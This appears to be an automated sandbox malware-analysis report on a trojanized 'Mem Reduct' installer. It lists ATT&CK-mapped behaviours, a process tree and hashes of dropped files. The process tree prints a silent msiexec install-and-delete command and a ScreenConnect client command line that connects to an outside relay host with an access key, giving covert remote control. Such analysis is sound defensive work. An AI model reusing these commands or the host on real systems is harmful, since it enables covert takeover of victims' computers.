Analysis

  • max time kernel
    146s
  • max time network
    139s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/07/2026, 12:44

General

  • Target
    memreduct/memreduct-3.5.2-setup.exe
  • Size 505KB
  • Sample260706-pygrlabs7l
  • SHA256 8f47d7121ef6532ad9ad9901e44e237f5c30448b752028c58a9d19521414e40d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 24 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 26 IoCs
  • Drops file in Windows directory 28 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 43 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\memreduct\memreduct-3.5.2-setup.exe
    "C:\Users\Admin\AppData\Local\Temp\memreduct\memreduct-3.5.2-setup.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:5724
    • C:\Users\Admin\AppData\Local\Temp\0e060b33.exe
      "C:\Users\Admin\AppData\Local\Temp\0e060b33.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      PID:1740
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI /qn REBOOT=ReallySuppress & del /f /q C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2908
      • C:\Windows\SysWOW64\msiexec.exe
        msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI /qn REBOOT=ReallySuppress
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:3748
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI /qn REBOOT=ReallySuppress & del /f /q C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:6132
      • C:\Windows\SysWOW64\msiexec.exe
        msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI /qn REBOOT=ReallySuppress
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:4956
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5132
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 242958819830824C6F90817A8BDF054B
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3292
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSIF3C1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240710734 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1516
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding E10ECD6391220DBEF083ABC617A4C0CD E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:1664
  • C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=def.filegit.com&p=8041&s=d4af2cb3-abff-4213-9952-314d56328b6f&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0xDarU2tV5Mfx%2fAFHd8Uk5q%2fFEcKbao%2fNyt1sCKoWPxRwGPNazIErFVLdUTQAwUAHFFsH%2fAI%2bRLJhl53QVgHaYcZAhLsW0gJdUEjQokrPA7dQtgjAToq%2bBOT0FoIQceYrnMpYerjcVsThac04E%2beYcPVy%2fX3y4P%2bFdCGFMSFmkoBtL9mQV1YSVfKuOD5dmo4kAFnoInvt2ZKpqL0zIbLs5ws5B56lGEuu17ZB9lCWs%2bcL2UUa4OP9AG%2bb%2bkZEMbgRLYySi4kViPUQndES6&c=memreduct&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5776
    • C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe" "RunRole" "ccdb931c-1c9b-4884-9608-5a7cf53ac9fc" "User"
      2⤵
      • Executes dropped EXE
      PID:2592
    • C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe" "RunRole" "f971cede-b378-49fa-b6bc-ea07cbd2fb09" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:2244
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:1996
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:5704
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:5780
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:5484

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e58f01b.rbs

        • Path C:\Config.Msi\e58f01b.rbs
        • Size 213KB
        • SHA256 0583945cd4ed5daae0e0695176c39a037cf174f496f77b11584b9882e310d38c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\MSCppRuntime9\Client.Override.en-US.resources
        • Size 290B
        • SHA256 d40224a36d0b67c26b0198ca2bbba3ffc1001a972c7b27c245b3e6eb9f505f9e
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\MSCppRuntime9\Client.Override.resources
        • Size 3KB
        • SHA256 58769c71d6b2af83125bc16d293c0deee45d82a3f2ffe8ba47b6b8d1f63bb8ba
        • MD5 SHA1 SHA512 TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\MSCppRuntime9\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\MSCppRuntime9\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\MSCppRuntime9\app.config
        • Size 2KB
        • SHA256 8fea0b2e7ba414ba5e3f1650676f1d1fbaf46595b58e218a521a83887afc7106
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\MSCppRuntime9\system.config
        • Size 953B
        • SHA256 da6f036a9d7705c08ecbe6b5cba9535c2e79322e2b03cefe2e78033102f607df
        • MD5 SHA1 SHA512 TLSH

        memreduct.exe

        • Path C:\Program Files\Mem Reduct\memreduct.exe
        • Size 387KB
        • SHA256 dd55a81d56e8c32918e5190b2ec2a1f2a7edbbca884627439b4b619fdfb5602d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        uninstall.exe

        • Path C:\Program Files\Mem Reduct\uninstall.exe
        • Size 52KB
        • SHA256 8e42bae39f4f25d697a080b3fd9b576cd524e38a27c7e8ed2e53b7b42f5367eb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        prep_Activatable Class_Hermes_perf.cache

        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 599B
        • SHA256 e70e850ae837c3ac89bbdc68a172455f14eaa909108dd2f94b137d842c6bb99e
        • MD5 SHA1 SHA512 TLSH

        prep_Activatable Class_Hermes_perf.cache

        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 599B
        • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
        • MD5 SHA1 SHA512 TLSH

        0e060b33.exe

        • Path C:\Users\Admin\AppData\Local\Temp\0e060b33.exe
        • Size 372KB
        • SHA256 025e5c06f7beccf5c85cbe931bc058f53a4642ca83a00855a475026a5e6334c4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DXUPDA~1.MSI

        • Path C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI
        • Size 12.8MB
        • SHA256 58a48c538f1757b03eada9527b5d186149dcd35f348e4e5b7b0dbab2acce26d5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        dxsetup_dbg.log

        • Path C:\Users\Admin\AppData\Local\Temp\dxsetup_dbg.log
        • Size 792B
        • SHA256 9062b504d3025e977b60c5af5491f740fa3299f610d952d38c9b4e72bb394295
        • MD5 SHA1 SHA512 TLSH

        System.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nspE9FF.tmp\System.dll
        • Size 12KB
        • SHA256 8b4c47c4cf5e76ec57dd5a050d5acd832a0d532ee875d7b44f6cdaf68f90d37c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        nsDialogs.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nspE9FF.tmp\nsDialogs.dll
        • Size 9KB
        • SHA256 b1350f487692057c8ffde75dcc55287a52a3272240d4d4912f24464b27551fc0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Mem Reduct.lnk

        • Path C:\Users\Admin\Desktop\Mem Reduct.lnk
        • Size 879B
        • SHA256 3837143fd38254ea905bdd273f5de72313e99766283465b65cba25398dfb83b4
        • MD5 SHA1 SHA512 TLSH

        MSIF3C1.tmp

        • Path C:\Windows\Installer\MSIF3C1.tmp
        • Size 1.0MB
        • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSIF3C1.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSIF3C1.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSIF3C1.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSIF3C1.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIFB16.tmp

        • Path C:\Windows\Installer\MSIFB16.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DXError.log

        • Path C:\Windows\Logs\DXError.log
        • Size 554B
        • SHA256 b5dbb3497c53eea8004ea8e5f15ac9342c4e04ebc3b49d6b327ee550dfffbb8d
        • MD5 SHA1 SHA512 TLSH

        memory/1516-102-0x0000000006650000-0x0000000006C0A000-memory.dmp

        memory/1516-89-0x0000000005BE0000-0x0000000005C0E000-memory.dmp

        memory/1516-93-0x0000000002E30000-0x0000000002E3A000-memory.dmp

        memory/1516-97-0x0000000005CA0000-0x0000000005D2E000-memory.dmp

        memory/1516-101-0x0000000005EE0000-0x000000000608C000-memory.dmp

        memory/2592-184-0x000000001BE50000-0x000000001BEDE000-memory.dmp

        memory/2592-182-0x0000000000D60000-0x0000000000DF8000-memory.dmp

        memory/2592-183-0x0000000001680000-0x00000000016B6000-memory.dmp

        memory/2592-185-0x000000001C090000-0x000000001C23C000-memory.dmp

        memory/2592-186-0x000000001C3D0000-0x000000001C558000-memory.dmp

        memory/2592-187-0x0000000001660000-0x0000000001678000-memory.dmp

        memory/2592-188-0x0000000001710000-0x0000000001728000-memory.dmp

        memory/5704-397-0x000000000F800000-0x000000000F87C000-memory.dmp

        memory/5776-169-0x0000000004A00000-0x0000000004A41000-memory.dmp

        memory/5776-171-0x0000000004E70000-0x0000000004F45000-memory.dmp

        memory/5776-162-0x00000000049C0000-0x00000000049F6000-memory.dmp

        memory/5776-152-0x0000000004970000-0x00000000049C0000-memory.dmp

        memory/5776-141-0x00000000022B0000-0x00000000022C8000-memory.dmp

        memory/5776-167-0x0000000004C80000-0x0000000004D12000-memory.dmp

        memory/5780-232-0x00000137801E0000-0x00000137802E0000-memory.dmp

        memory/5780-279-0x0000013794880000-0x00000137948A0000-memory.dmp

        memory/5780-248-0x0000013784430000-0x0000013784530000-memory.dmp

        memory/5780-246-0x0000013781FA0000-0x0000013781FC0000-memory.dmp

        memory/5780-262-0x0000013784370000-0x0000013784390000-memory.dmp